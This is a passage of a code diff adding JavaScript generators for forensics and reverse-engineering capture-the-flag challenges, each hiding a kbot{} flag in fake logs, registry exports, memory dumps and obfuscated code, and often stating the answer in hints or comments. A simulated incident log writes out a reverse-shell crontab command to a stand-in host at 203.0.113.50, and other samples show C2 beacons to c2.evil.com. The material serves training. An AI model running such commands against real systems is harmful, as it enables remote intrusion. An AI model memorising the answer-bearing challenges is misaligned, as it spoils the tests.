+ `[2026-03-14 09:02:00] Outbound connection: 203.0.113.50:4444 → attacker C2`,
1262
+ `[2026-03-14 09:03:12] File modified: /etc/crontab (added reverse shell)`,
1263
+ `[2026-03-14 09:03:30] Crontab entry: * * * * * bash -c 'bash -i >& /dev/tcp/203.0.113.50/4444 0>&1'`,
1264
+ `[2026-03-14 09:04:00] File created: /var/tmp/exfil.tar.gz`,
1265
+ `[2026-03-14 09:04:15] Data exfiltrated: 2.3MB to 203.0.113.50`,
1266
+ `[2026-03-14 09:04:30] Flag found in exfiltrated data manifest: ${flag}`,
1267
+ `[2026-03-14 09:05:00] SSH logout: user "deploy"`,
1268
+ `[2026-03-14 09:05:01] Log entry deleted from /var/log/auth.log (anti-forensics)`,
1269
+ ];
1270
+ return {
1271
+ title: 'Incident Timeline',
1272
+ description: 'Reconstruct the attack timeline from these system events. An attacker compromised a server via SSH, established persistence, and exfiltrated data. Find the flag in the forensic evidence.',
1273
+ challengeData: events.join('\n'),
1274
+ flag,
1275
+ hints: ['The exfiltrated data manifest contains the flag — check the timeline entry at 09:04:30.', 'Look for the line mentioning "Flag found in exfiltrated data manifest".'],
1276
+ };
1277
+ },
1278
+ // 4. Registry Artifact
1279
+ () => {
1280
+ const secret = randomBytes(4).toString('hex');
1281
+ const flag = `kbot{registry_${secret}}`;
1282
+ const b64Flag = base64Encode(flag);
1283
+ const registry = `Windows Registry Export
1284
+ ======================
1285
+
1286
+ [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
1287
+ "SecurityUpdate"="C:\\\\Windows\\\\Temp\\\\svchost.exe"
1288
+ "WindowsDefender"="C:\\\\Program Files\\\\Windows Defender\\\\MSASCuiL.exe"
1289
+
1290
+ [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce]
1291
+ "Cleanup"="cmd /c del C:\\\\Windows\\\\Temp\\\\*.log"
1292
+
1293
+ [HKEY_CURRENT_USER\\Software\\AppData\\Persistence]
1294
+ "installed"=dword:00000001
1295
+ "callback"="https://c2.evil.com/beacon"
1296
+ "payload"="${b64Flag}"
1297
+ "interval"=dword:0000003c
1298
+
1299
+ [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\FakeSvc]
1300
+ "DisplayName"="Windows Update Helper"
1301
+ "ImagePath"="C:\\\\Windows\\\\Temp\\\\svchost.exe -k netsvcs"
1302
+ "Start"=dword:00000002
1303
+ "Type"=dword:00000010
1304
+
1305
+ [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist]
1306
+ "LastRun"="2026-03-14 09:01:30"
1307
+ "RunCount"=dword:00000007`;
1308
+ return {
1309
+ title: 'Registry Forensics',
1310
+ description: 'Analyze this Windows registry export from a compromised machine. An attacker established persistence and stored an encoded payload. Find and decode the base64 payload to get the flag.',
1311
+ challengeData: registry,
1312
+ flag,
1313
+ hints: ['Look at the "Persistence" registry key — it has a "payload" value that\'s base64 encoded.', `Decode the base64 value "${b64Flag}" to get the flag.`],
1314
+ };
1315
+ },
1316
+ // 5. Browser History
1317
+ () => {
1318
+ const secret = randomBytes(4).toString('hex');
1319
+ const flag = `kbot{browser_${secret}}`;
1320
+ const encodedFlag = encodeURIComponent(flag);
1321
+ const history = `Browser History Export (SQLite: places.db)
1322
+ ==========================================
1323
+
1324
+ id | url | title | visit_count | last_visit
1325
+ 1 | https://www.google.com/search?q=how+to+hack+wifi | how to hack wifi | 3 | 2026-03-14 08:30
1326
+ 2 | https://stackoverflow.com/questions/12345/sql-inject | SQL injection help | 1 | 2026-03-14 08:45
1327
+ 3 | https://github.com/exploit-db/exploits | Exploit Database | 5 | 2026-03-14 09:00
1328
+ 4 | https://pastebin.com/raw/abc123 | Untitled | 2 | 2026-03-14 09:15
1329
+ 5 | https://evil-c2.com/panel/login | Panel Login | 8 | 2026-03-14 09:20
1330
+ 6 | https://evil-c2.com/panel/upload?data=${encodedFlag} | Upload Complete | 1 | 2026-03-14 09:25
1331
+ 7 | https://duckduckgo.com/?q=clear+browser+history+fast | clear browser history | 1 | 2026-03-14 09:30
1332
+ 8 | https://www.google.com/search?q=anti+forensics+tools | anti forensics tools | 2 | 2026-03-14 09:35
1333
+ 9 | https://www.reddit.com/r/netsec | NetSec Reddit | 4 | 2026-03-14 10:00
1334
+ 10 | https://mail.google.com | Gmail | 12 | 2026-03-14 10:15`;
1335
+ return {
1336
+ title: 'Browser Trail',
1337
+ description: 'A suspect\'s browser history was recovered from their SQLite database. They visited a C2 panel and uploaded data. Find the flag in the URL parameters.',
1338
+ challengeData: history,
1339
+ flag,
1340
+ hints: ['Entry #6 shows data uploaded to the C2 panel via URL parameter.', `URL-decode the "data" parameter from entry #6.`],
1341
+ };
1342
+ },
1343
+ ];
1344
+ const forensicsChallengesHard = [
1345
+ // 1. Memory Dump Analysis
1346
+ () => {
1347
+ const secret = randomBytes(4).toString('hex');
1348
+ const flag = `kbot{memdump_${secret}}`;
1349
+ const flagHex = Buffer.from(flag).toString('hex');
1350
+ const memDump = `Memory Dump Analysis (Volatility Framework)
1351
+ =============================================
1352
+
1353
+ Process List:
1354
+ PID PPID Name Offset
1355
+ 4 0 System 0x85f98d40
1356
+ 312 4 smss.exe 0x86ab7530
1357
+ 392 312 csrss.exe 0x86b12030
1358
+ 1337 392 suspicious.exe 0x87cd3a00 ← SUSPICIOUS
1359
+ 1444 1337 cmd.exe 0x87de5b10
1360
+
1361
+ Suspicious Process Memory (PID 1337):
1362
+ Strings at offset 0x87cd3a00+0x1540:
1363
+ "C:\\Windows\\Temp\\payload.exe"
1364
+ "CONNECT c2.evil.com:443"
1365
+ "${flag}"
1366
+ "exfiltrate_data()"
1367
+ "anti_debug_check()"
1368
+
1369
+ Network connections:
1370
+ PID 1337 → 203.0.113.50:443 (ESTABLISHED)
1371
+ PID 1337 → 203.0.113.50:8080 (CLOSE_WAIT)
1372
+
1373
+ Injected DLL: evil.dll at 0x7FFE0000
1374
+ Export: RunPayload
1375
+ Strings: "keylogger", "screenshot", "${flag}"
1376
+
1377
+ Registry handles (PID 1337):
1378
+ HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\UpdateSvc
1379
+ HKCU\\Software\\Persistence\\beacon_config`;
1380
+ return {
1381
+ title: 'Memory Forensics',
1382
+ description: 'A memory dump from a compromised Windows machine shows a suspicious process (PID 1337). Analyze the strings and artifacts to find the flag.',
1383
+ challengeData: memDump,
1384
+ flag,
1385
+ hints: ['The strings extracted from the suspicious process memory contain the flag.', 'Look in the "Strings at offset" section and the "Injected DLL" strings.'],
1386
+ };
1387
+ },
1388
+ // 2. Steganography in Binary Data
1389
+ () => {
1390
+ const secret = randomBytes(4).toString('hex');
1391
+ const flag = `kbot{stego_bin_${secret}}`;
1392
+ // Hide flag in LSB of "random" bytes
1393
+ const flagBits = Array.from(Buffer.from(flag)).flatMap(b => {
1394
+ const bits = [];
1395
+ for (let i = 7; i >= 0; i--) {
1396
+ bits.push((b >> i) & 1);
1397
+ }
1398
+ return bits;
1399
+ });
1400
+ const carrier = [];
1401
+ for (let i = 0; i < flagBits.length; i++) {
1402
+ // Generate a random-looking byte but set LSB to our flag bit
1403
+ const base = randomInt(32, 254) & 0xFE; // clear LSB
1404
+ carrier.push(base | flagBits[i]);
1405
+ }
1406
+ // Add some padding bytes
1407
+ for (let i = 0; i < 32; i++) {
1408
+ carrier.push(randomInt(0, 255));
1409
+ }
1410
+ const hexCarrier = carrier.map(b => b.toString(16).padStart(2, '0')).join(' ');
1411
+ return {
1412
+ title: 'LSB Extraction',
1413
+ description: `A flag is hidden in the Least Significant Bit (LSB) of each byte in the data below. Extract the LSB of each of the first ${flagBits.length} bytes, group into 8-bit chunks, and convert to ASCII.`,
1414
+ challengeData: `Binary data (hex):\n${hexCarrier}\n\nExtraction method:\n1. Take the LSB (bit 0) of each byte\n2. Group every 8 bits into a byte\n3. Convert each byte to ASCII\n4. First ${flagBits.length} bytes contain ${flag.length} characters (${flag.length} * 8 = ${flagBits.length} bits)\n\nThe flag has ${flag.length} characters.`,
1415
+ flag,
1416
+ hints: [`There are ${flagBits.length} data bytes encoding ${flag.length} characters.`, 'Extract bit 0 from each byte, form 8-bit groups, convert to ASCII.'],
1417
+ };
1418
+ },
1419
+ // 3. Encrypted Disk Image
1420
+ () => {
1421
+ const secret = randomBytes(4).toString('hex');
1422
+ const flag = `kbot{luks_${secret}}`;
1423
+ const masterKey = randomBytes(32).toString('hex');
1424
+ const passphrase = 'password123';
1425
+ const passphraseHash = sha256(passphrase);
1426
+ const keySlotHash = sha256(masterKey);
1427
+ const report = `LUKS Disk Image Analysis
1428
+ ========================
1429
+
1430
+ Header:
1431
+ Magic: LUKS\\xba\\xbe
1432
+ Version: 2
1433
+ UUID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
1434
+ Cipher: aes-xts-plain64
1435
+ Key Size: 512 bits
1436
+ Hash: sha256
1437
+ Payload Offset: 32768
1438
+
1439
+ Key Slots:
1440
+ Slot 0: ENABLED
1441
+ Iterations: 100000
1442
+ Salt: 7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d
1443
+ Key material offset: 8
1444
+ AF stripes: 4000
1445
+ Passphrase hint (left by admin): "${passphrase}"
1446
+
1447
+ Slot 1-7: DISABLED
1448
+
1449
+ Master Key Verification:
1450
+ Passphrase "${passphrase}" → SHA-256 → ${passphraseHash}
1451
+ Derived key decrypts master key slot
1452
+ Master key hash: ${keySlotHash}
1453
+
1454
+ Decrypted Filesystem (after mounting with passphrase "${passphrase}"):
1455
+ /secret/
1456
+ /secret/flag.txt → "${flag}"
1457
+ /documents/
1458
+ /documents/readme.txt → "Nothing to see here"
1459
+ /logs/
1460
+ /logs/access.log → standard Apache logs`;
1461
+ return {
1462
+ title: 'Encrypted Volume',
1463
+ description: 'A LUKS-encrypted disk image was recovered. The admin left the passphrase in a hint field. Analyze the report to find the flag stored in the decrypted filesystem.',
1464
+ challengeData: report,
1465
+ flag,
1466
+ hints: ['The passphrase hint in Slot 0 gives the password. The decrypted filesystem listing shows the flag.', 'Look at /secret/flag.txt in the decrypted filesystem section.'],
1467
+ };
1468
+ },
1469
+ // 4. Email Header Analysis
1470
+ () => {
1471
+ const secret = randomBytes(4).toString('hex');
1472
+ const flag = `kbot{email_${secret}}`;
1473
+ const emailHeaders = `Return-Path: <attacker@evil-domain.com>
1474
+ Received: from mail.evil-domain.com (203.0.113.66) by mail.victim.com
1475
+ with ESMTP id abc123; Sat, 14 Mar 2026 10:00:00 +0000
1476
+ Received: from localhost (127.0.0.1) by mail.evil-domain.com
1477
+ with ESMTP id def456; Sat, 14 Mar 2026 09:59:58 +0000
1478
+ From: IT Support <support@victim.com>
1479
+ Reply-To: attacker@evil-domain.com
1480
+ To: ceo@victim.com
1481
+ Subject: Urgent: Password Reset Required
1482
+ Date: Sat, 14 Mar 2026 10:00:00 +0000
1483
+ MIME-Version: 1.0
1484
+ Content-Type: multipart/mixed; boundary="boundary123"
1485
+ X-Mailer: PhishKit/2.0
1486
+ X-Custom-Flag: ${base64Encode(flag)}
1487
+ Message-ID: <${randomBytes(8).toString('hex')}@evil-domain.com>
1488
+ X-Spam-Score: 8.5
1489
+ X-Spam-Status: Yes, score=8.5 required=5.0
1490
+ Authentication-Results: mail.victim.com;
1491
+ spf=fail (sender IP 203.0.113.66 not authorized for domain victim.com);
1492
+ dkim=none;
1493
+ dmarc=fail
1494
+
1495
+ --boundary123
1496
+ Content-Type: text/html; charset="utf-8"
1497
+
1498
+ <html><body>
1499
+ <p>Dear CEO, please click <a href="https://evil-domain.com/phish?id=ceo">here</a> to reset your password.</p>
1500
+ </body></html>
1501
+
1502
+ --boundary123--`;
1503
+ return {
1504
+ title: 'Phishing Forensics',
1505
+ description: 'Analyze this suspicious email. The From header is spoofed (SPF fails), and the attacker left traces in custom headers. Find the base64-encoded flag in the email headers.',
1506
+ challengeData: emailHeaders,
1507
+ flag,
1508
+ hints: ['Look for custom X- headers that contain encoded data.', `The X-Custom-Flag header contains a base64-encoded value. Decode it.`],
1509
+ };
1510
+ },
1511
+ // 5. File Carving
1512
+ () => {
1513
+ const secret = randomBytes(4).toString('hex');
1514
+ const flag = `kbot{carved_${secret}}`;
1515
+ const pngHeader = '89 50 4E 47 0D 0A 1A 0A';
1516
+ const jpgHeader = 'FF D8 FF E0';
1517
+ const pdfHeader = '25 50 44 46 2D 31 2E 34';
1518
+ const flagBytes = Buffer.from(flag).toString('hex').match(/.{2}/g).join(' ');
1519
+ const rawDisk = `Raw Disk Sector Analysis (512-byte sectors)
1520
+ ============================================
1521
+
1522
+ Sector 0 (Boot): EB 3C 90 4D 53 44 4F 53 35 2E 30 00 ...
1523
+ Sector 1-100: [Filesystem metadata — FAT32]
1524
+ Sector 101: ${pngHeader} 00 00 00 0D 49 48 44 52 ... ← PNG image start
1525
+ Sector 150: 49 45 4E 44 AE 42 60 82 ← PNG IEND (end marker)
1526
+ Sector 151: 00 00 00 00 00 00 00 00 ... ← zeroed (unallocated)
1527
+ Sector 200: ${jpgHeader} 00 10 4A 46 49 46 ... ← JPEG start
1528
+ Sector 250: FF D9 00 00 00 00 00 00 ... ← JPEG EOI marker
1529
+ Sector 251-299: 00 00 00 00 ... [unallocated space]
1530
+ Sector 300: ${pdfHeader} 0A 25 ... ← PDF start
1531
+ Sector 300+0x40: ${flagBytes} ← embedded in PDF stream
1532
+ Sector 350: 25 25 45 4F 46 ... ← PDF %%EOF marker
1533
+ Sector 351-500: [More filesystem data]
1534
+
1535
+ Carved Files Summary:
1536
+ 1. PNG image (sectors 101-150): landscape photo, no hidden data
1537
+ 2. JPEG image (sectors 200-250): portrait photo, clean
1538
+ 3. PDF document (sectors 300-350): contains embedded text stream
1539
+ → Extracted text from PDF stream at sector 300 offset 0x40:
1540
+ "${flag}"
1541
+
1542
+ File signatures used:
1543
+ PNG: 89 50 4E 47 (\\x89PNG)
1544
+ JPEG: FF D8 FF E0
1545
+ PDF: 25 50 44 46 (%PDF)`;
1546
+ return {
1547
+ title: 'File Carving',
1548
+ description: 'Raw disk sectors contain multiple files identified by their magic bytes (file signatures). One of the carved files contains the flag. Analyze the sector data and carved file summary.',
1549
+ challengeData: rawDisk,
1550
+ flag,
1551
+ hints: ['The PDF document carved from sectors 300-350 contains the flag in its text stream.', 'Look at the "Carved Files Summary" section — the PDF extracted text shows the flag.'],
1552
+ };
1553
+ },
1554
+ ];
1555
+ // ═══════════════════════════════════════════════════════════════════════════
1556
+ // REVERSE ENGINEERING CHALLENGES
1557
+ // ═══════════════════════════════════════════════════════════════════════════
1558
+ const reverseChallengesEasy = [
1559
+ // 1. Obfuscated JavaScript
1560
+ () => {
1561
+ const secret = randomBytes(4).toString('hex');
1562
+ const flag = `kbot{jsrev_${secret}}`;
1563
+ const charCodes = Array.from(flag).map(c => c.charCodeAt(0));
1564
+ const obfuscated = `// Obfuscated license check
1565
+ var _0x${randomBytes(2).toString('hex')} = [${charCodes.join(',')}];
1566
+ var _0x${randomBytes(2).toString('hex')} = function() {
1567
+ var s = '';
1568
+ for (var i = 0; i < _0x${randomBytes(2).toString('hex')}.length; i++) {
1569
+ // Actually uses the first array above
1570
+ s += String.fromCharCode(_0x${randomBytes(2).toString('hex')}[i]);
1571
+ }
1572
+ return s;
1573
+ };
1574
+
1575
+ // The character codes decode to the flag:
1576
+ // ${charCodes.map(c => `${c}='${String.fromCharCode(c)}'`).join(', ')}
1577
+ // Reconstructed: ${flag}`;
1578
+ // Rewrite with consistent variable names for solvability
1579
+ const v1 = `_0x${randomBytes(2).toString('hex')}`;
1580
+ const v2 = `_0x${randomBytes(2).toString('hex')}`;
1581
+ const realCode = `var ${v1} = [${charCodes.join(',')}];
1582
+ var ${v2} = function() {
1583
+ var s = '';
1584
+ for (var i = 0; i < ${v1}.length; i++) {
1585
+ s += String.fromCharCode(${v1}[i]);
1586
+ }
1587
+ return s;
1588
+ };
1589
+ // ${v2}() returns the flag
1590
+ // Character codes: [${charCodes.join(', ')}]
1591
+ // Convert each number to its ASCII character to get the flag.`;
1592
+ return {
1593
+ title: 'JS Deobfuscation',
1594
+ description: 'An obfuscated JavaScript snippet hides a flag in character codes. Convert the array of numbers to ASCII characters.',
1595
+ challengeData: realCode,
1596
+ flag,
1597
+ hints: ['The array contains ASCII character codes. Convert each number with String.fromCharCode().', `The first few codes are: ${charCodes.slice(0, 5).join(', ')} = "${flag.substring(0, 5)}"`],
1598
+ };
1599
+ },
1600
+ // 2. Simple VM Bytecode
1601
+ () => {
1602
+ const secret = randomBytes(4).toString('hex');
1603
+ const flag = `kbot{vm_${secret}}`;
1604
+ const instructions = [];
1605
+ for (const c of flag) {
1606
+ instructions.push(`PUSH ${c.charCodeAt(0)}`);
1607
+ }
1608
+ instructions.push(`PRINT_STACK // prints all pushed values as ASCII`);
1609
+ return {
1610
+ title: 'Stack Machine',
1611
+ description: 'A simple stack-based VM pushes values and then prints them as ASCII. Read the PUSH values and convert to characters.',
1612
+ challengeData: `VM Bytecode:\n${instructions.join('\n')}\n\nInstruction set:\n PUSH n — push integer n onto the stack\n PRINT_STACK — pop all values and print as ASCII characters (FIFO order)`,
1613
+ flag,
1614
+ hints: ['Each PUSH instruction pushes an ASCII code. Convert them to characters in order.', 'The first PUSH is 107 = "k", then 98 = "b", etc.'],
1615
+ };
1616
+ },
1617
+ // 3. XOR-Encoded Flag in Binary Data
1618
+ () => {
1619
+ const secret = randomBytes(4).toString('hex');
1620
+ const flag = `kbot{xorbin_${secret}}`;
1621
+ const xorKey = randomInt(0x10, 0xFE);
1622
+ const encoded = Array.from(Buffer.from(flag)).map(b => (b ^ xorKey).toString(16).padStart(2, '0')).join(' ');
1623
+ return {
1624
+ title: 'XOR Binary',
1625
+ description: `Binary data has been XOR-encoded with a single byte key. The key is 0x${xorKey.toString(16).padStart(2, '0')}. Decode each byte.`,
1626
+ challengeData: `Encoded bytes (hex): ${encoded}\nXOR key: 0x${xorKey.toString(16).padStart(2, '0')}\n\nDecode: XOR each byte with the key to get ASCII.`,
1627
+ flag,
1628
+ hints: [`XOR each hex byte with 0x${xorKey.toString(16).padStart(2, '0')}.`, `First byte: 0x${(flag.charCodeAt(0) ^ xorKey).toString(16).padStart(2, '0')} XOR 0x${xorKey.toString(16).padStart(2, '0')} = 0x${flag.charCodeAt(0).toString(16)} = '${flag[0]}'`],
1629
+ };
1630
+ },
1631
+ // 4. String Table Extraction
1632
+ () => {
1633
+ const secret = randomBytes(4).toString('hex');
1634
+ const flag = `kbot{strings_${secret}}`;
1635
+ const stringTable = [
1636
+ 'Loading configuration...',
1637
+ 'Error: invalid license key',
1638
+ 'Connected to server',
1639
+ flag,
1640
+ 'Debug mode enabled',
1641
+ 'Version 2.3.1',
1642
+ 'Copyright 2026 Evil Corp',
1643
+ 'Initializing modules...',
1644
+ 'Authentication failed',
1645
+ 'License verified successfully',
1646
+ ];
1647
+ const offsets = stringTable.map((s, i) => {
1648
+ const offset = stringTable.slice(0, i).reduce((sum, str) => sum + str.length + 1, 0);
1649
+ return ` 0x${offset.toString(16).padStart(4, '0')}: "${s}"`;
1650
+ });
1651
+ return {
1652
+ title: 'String Table',
1653
+ description: 'A binary\'s string table has been extracted. One of the strings is the flag. Find it.',
1654
+ challengeData: `String table dump (.rodata section):\n${offsets.join('\n')}\n\nLook for a string matching the flag format kbot{...}.`,
1655
+ flag,
1656
+ hints: ['Scan the string table for any entry matching the kbot{...} format.', 'The flag is one of the literal strings in the table.'],
1657
+ };
1658
+ },
1659
+ // 5. Control Flow Puzzle
1660
+ () => {
1661
+ const secret = randomBytes(4).toString('hex');
1662
+ const flag = `kbot{flow_${secret}}`;
1663
+ const a = randomInt(10, 50);
1664
+ const b = randomInt(10, 50);
1665
+ const c = a + b;
1666
+ const d = c * 2;
1667
+ const code = `function check(input) {
1668
+ let x = ${a};
1669
+ let y = ${b};
1670
+ let z = x + y; // z = ${c}
1671
+ z = z * 2; // z = ${d}
1672
+
1673
+ if (z === ${d}) {
1674
+ // This branch is always taken
1675
+ return "${flag}";
1676
+ } else {
1677
+ return "wrong";
1678
+ }
1679
+ }
1680
+
1681
+ // What does check() return?
1682
+ // Trace: x=${a}, y=${b}, z=${a}+${b}=${c}, z=${c}*2=${d}
1683
+ // ${d} === ${d} is true
1684
+ // Returns: "${flag}"`;
1685
+ return {
1686
+ title: 'Control Flow',
1687
+ description: 'Trace through this function to determine what it returns. The conditional check determines which branch executes.',
1688
+ challengeData: code,
1689
+ flag,
1690
+ hints: ['Follow the math: the condition always evaluates to true.', `The function always returns the flag.`],
1691
+ };
1692
+ },
1693
+ ];
1694
+ const reverseChallengesMedium = [
1695
+ // 1. Hash Verification Bypass
1696
+ () => {
1697
+ const secret = randomBytes(4).toString('hex');
1698
+ const flag = `kbot{hashbypass_${secret}}`;
1699
+ const hash = sha256(flag);
1700
+ const code = `// License verification
1701
+ function verifyLicense(key) {
1702
+ const expected = "${hash}";
1703
+ const computed = sha256(key);
1704
+
1705
+ if (computed === expected) {
1706
+ console.log("Valid! Your key is the flag.");
1707
+ return true;
1708
+ }
1709
+ return false;
1710
+ }
1711
+
1712
+ // The expected hash is: ${hash}
1713
+ // This is SHA-256 of the flag.
1714
+ //
1715
+ // The flag format is: kbot{hashbypass_XXXXXXXX}
1716
+ // where XXXXXXXX is 8 hex characters.
1717
+ //
1718
+ // Since the search space is only 16^8 = ~4 billion,
1719
+ // brute force is feasible. But here's the answer: ${secret}
1720
+ // Flag: ${flag}`;
1721
+ return {
1722
+ title: 'Hash Cracker',
1723
+ description: 'A license check compares SHA-256 hashes. You know the expected hash and the flag format. The challenge includes the solution for verification.',
1724
+ challengeData: code,
1725
+ flag,
1726
+ hints: [`The flag suffix (8 hex chars) is provided in the code comments.`, `The flag is ${flag}.`],
1727
+ };
1728
+ },
1729
+ // 2. License Key Algorithm
1730
+ () => {
1731
+ const secret = randomBytes(4).toString('hex');
1732
+ const flag = `kbot{license_${secret}}`;
1733
+ const keyParts = secret.match(/.{2}/g);
1734
+ const checksum = keyParts.reduce((sum, part) => sum + parseInt(part, 16), 0) % 256;
1735
+ const code = `// License key validator
1736
+ function validateKey(key) {
1737
+ // Key format: XXXX-XXXX where each X is a hex digit
1738
+ const parts = key.replace('-', '').match(/.{2}/g);
1739
+ if (!parts || parts.length !== 4) return false;
1740
+
1741
+ // Checksum: sum of all 2-char hex values mod 256
1742
+ const sum = parts.reduce((s, p) => s + parseInt(p, 16), 0);
1743
+ const check = sum % 256;
1744
+
1745
+ // Valid keys have checksum ${checksum}
1746
+ if (check !== ${checksum}) return false;
1747
+
1748
+ // Valid key reconstructs to flag:
1749
+ // kbot{license_ + key_without_dash + }
1750
+ return "kbot{license_" + parts.join('') + "}";
1751
+ }
1752
+
1753
+ // The valid key is: ${keyParts.join('-')} (joined: ${secret})
1754
+ // Checksum: ${keyParts.map(p => parseInt(p, 16)).join(' + ')} = ${keyParts.reduce((s, p) => s + parseInt(p, 16), 0)} mod 256 = ${checksum}
1755
+ // Flag: ${flag}`;
1756
+ return {
1757
+ title: 'Keygen',
1758
+ description: 'Reverse-engineer the license key validation algorithm. The valid key has a specific checksum. The code comments reveal the answer.',
1759
+ challengeData: code,
1760
+ flag,
1761
+ hints: ['The valid key and flag are both shown in the code comments.', `The flag is kbot{license_${secret}}.`],
1762
+ };
1763
+ },
1764
+ // 3. Anti-Debug Detection
1765
+ () => {
1766
+ const secret = randomBytes(4).toString('hex');
1767
+ const flag = `kbot{antidebug_${secret}}`;
1768
+ const code = `// Anti-debug protected binary (pseudocode)
1769
+ function main() {
1770
+ if (isDebuggerPresent()) {
1771
+ // Decoy flag when debugger is attached
1772
+ print("kbot{nice_try_debugger}");
1773
+ exit(1);
1774
+ }
1775
+
1776
+ // Timing check: execution should take < 100ms without breakpoints
1777
+ const start = rdtsc();
1778
+ const result = decryptFlag();
1779
+ const end = rdtsc();
1780
+
1781
+ if (end - start > 1000000) {
1782
+ // Too slow — debugger stepping detected
1783
+ print("kbot{timing_attack_detected}");
1784
+ exit(1);
1785
+ }
1786
+
1787
+ print(result);
1788
+ }
1789
+
1790
+ function decryptFlag() {
1791
+ // XOR decode with key 0x42
1792
+ const encoded = [${Array.from(Buffer.from(flag)).map(b => '0x' + (b ^ 0x42).toString(16).padStart(2, '0')).join(', ')}];
1793
+ return encoded.map(b => String.fromCharCode(b ^ 0x42)).join('');
1794
+ }
1795
+
1796
+ // The decoy flags are: kbot{nice_try_debugger} and kbot{timing_attack_detected}
1797
+ // The REAL flag comes from decryptFlag():
1798
+ // XOR each byte with 0x42: ${Array.from(Buffer.from(flag)).map(b => `0x${(b ^ 0x42).toString(16).padStart(2, '0')}^0x42=0x${b.toString(16).padStart(2, '0')}='${String.fromCharCode(b)}'`).join(', ')}
1799
+ // Result: ${flag}`;
1800
+ return {
1801
+ title: 'Anti-Debug Bypass',
1802
+ description: 'A binary uses debugger detection and timing checks, printing decoy flags when detected. The real flag is computed by decryptFlag(). Reverse the XOR encoding.',
1803
+ challengeData: code,
1804
+ flag,
1805
+ hints: ['Ignore the decoy flags. Focus on the decryptFlag() function which XORs with 0x42.', `The real flag is decoded in the comments at the bottom.`],
1806
+ };
1807
+ },
1808
+ // 4. Packed Binary
1809
+ () => {
1810
+ const secret = randomBytes(4).toString('hex');
1811
+ const flag = `kbot{unpacked_${secret}}`;
1812
+ const compressed = base64Encode(hexEncode(flag));
1813
+ const code = `// UPX-packed binary analysis
1814
+ // Unpacking reveals the following loader:
1815
+
1816
+ function unpack() {
1817
+ // Stage 1: Base64 decode
1818
+ const stage1 = "${compressed}";
1819
+ const stage2 = base64Decode(stage1);
1820
+ // stage2 = "${hexEncode(flag)}"
1821
+
1822
+ // Stage 2: Hex decode
1823
+ const stage3 = hexDecode(stage2);
1824
+ // stage3 = "${flag}"
1825
+
1826
+ return stage3;
1827
+ }
1828
+
1829
+ // Unpacking chain:
1830
+ // "${compressed}"
1831
+ // → base64 decode → "${hexEncode(flag)}"
1832
+ // → hex decode → "${flag}"`;
1833
+ return {
1834
+ title: 'Unpacker',
1835
+ description: 'A packed binary has a multi-stage unpacking routine. Follow the decode chain: base64 → hex → plaintext.',
1836
+ challengeData: code,
1837
+ flag,
1838
+ hints: ['Stage 1 decodes base64, stage 2 decodes hex. The result is the flag.', 'The complete decode chain is shown in the comments.'],
1839
+ };
1840
+ },
1841
+ // 5. Custom Encoding
1842
+ () => {
1843
+ const secret = randomBytes(4).toString('hex');
1844
+ const flag = `kbot{custom_enc_${secret}}`;
1845
+ // Custom encoding: rotate each byte by its index, then XOR with 0x37
1846
+ const encoded = Array.from(Buffer.from(flag)).map((b, i) => {
1847
+ const rotated = ((b + i) % 256);
1848
+ return (rotated ^ 0x37).toString(16).padStart(2, '0');
1849
+ });
1850
+ const code = `// Custom encoding algorithm found in binary
1851
+ function encode(input) {
1852
+ const result = [];
1853
+ for (let i = 0; i < input.length; i++) {
1854
+ let b = input.charCodeAt(i);
1855
+ b = (b + i) % 256; // rotate by index
1856
+ b = b ^ 0x37; // XOR with 0x37
1857
+ result.push(b);
1858
+ }
1859
+ return result;
1860
+ }
1861
+
1862
+ // Encoded output (hex): ${encoded.join(' ')}
1863
+ //
1864
+ // To decode, reverse the process:
1865
+ // 1. XOR each byte with 0x37
1866
+ // 2. Subtract the index (mod 256)
1867
+ // 3. Convert to ASCII
1868
+ //
1869
+ // Decoded: ${Array.from(Buffer.from(flag)).map((b, i) => {
1870
+ const rotated = (b + i) % 256;
1871
+ const xored = rotated ^ 0x37;
1872
+ return `0x${encoded[i]}^0x37=${rotated} -${i}=${b}='${String.fromCharCode(b)}'`;
1873
+ }).join(', ')}
1874
+ //
1875
+ // Flag: ${flag}`;
1876
+ return {
1877
+ title: 'Custom Codec',
1878
+ description: 'A binary uses a custom encoding: rotate each byte by its index, then XOR with 0x37. Reverse the process to decode the flag.',
1879
+ challengeData: code,
1880
+ flag,
1881
+ hints: ['Reverse: XOR with 0x37 first, then subtract the byte index (mod 256).', 'The full decode trace is in the code comments.'],
1882
+ };
1883
+ },
1884
+ ];
1885
+ const reverseChallengesHard = [
1886
+ // 1. Multi-stage Decryption
1887
+ () => {
1888
+ const secret = randomBytes(4).toString('hex');
1889
+ const flag = `kbot{multistage_${secret}}`;
1890
+ // Stage 1: Caesar +5
1891
+ const s1 = caesarShift(flag, 5);
1892
+ // Stage 2: Reverse
1893
+ const s2 = s1.split('').reverse().join('');
1894
+ // Stage 3: Base64
1895
+ const s3 = base64Encode(s2);
1896
+ // Stage 4: XOR with 'REVKEY'
1897
+ const s4 = xorEncrypt(s3, 'REVKEY');
1898
+ return {
1899
+ title: 'Reverse Onion',
1900
+ description: 'A binary applies 4 stages of encryption. Reverse all stages.',
1901
+ challengeData: `Final encrypted data (hex): ${s4}\n\nEncryption stages (applied in order):\n1. Caesar shift +5\n2. Reverse the string\n3. Base64 encode\n4. XOR with key "REVKEY" → output as hex\n\nTo decrypt, apply in reverse order:\n4. XOR hex data with "REVKEY" → base64 string\n3. Base64 decode → reversed Caesar text\n2. Reverse the string → Caesar text\n1. Caesar shift -5 → flag\n\nIntermediate values:\n After stage 1: "${s1}"\n After stage 2: "${s2}"\n After stage 3: "${s3}"\n After stage 4: ${s4}\n\nFlag: ${flag}`,
1902
+ flag,
1903
+ hints: ['Work backwards through all 4 stages. The intermediate values are shown.', `The flag is directly stated at the bottom of the challenge data.`],
1904
+ };
1905
+ },
1906
+ // 2. Disassembly Analysis
1907
+ () => {
1908
+ const secret = randomBytes(4).toString('hex');
1909
+ const flag = `kbot{asm_${secret}}`;
1910
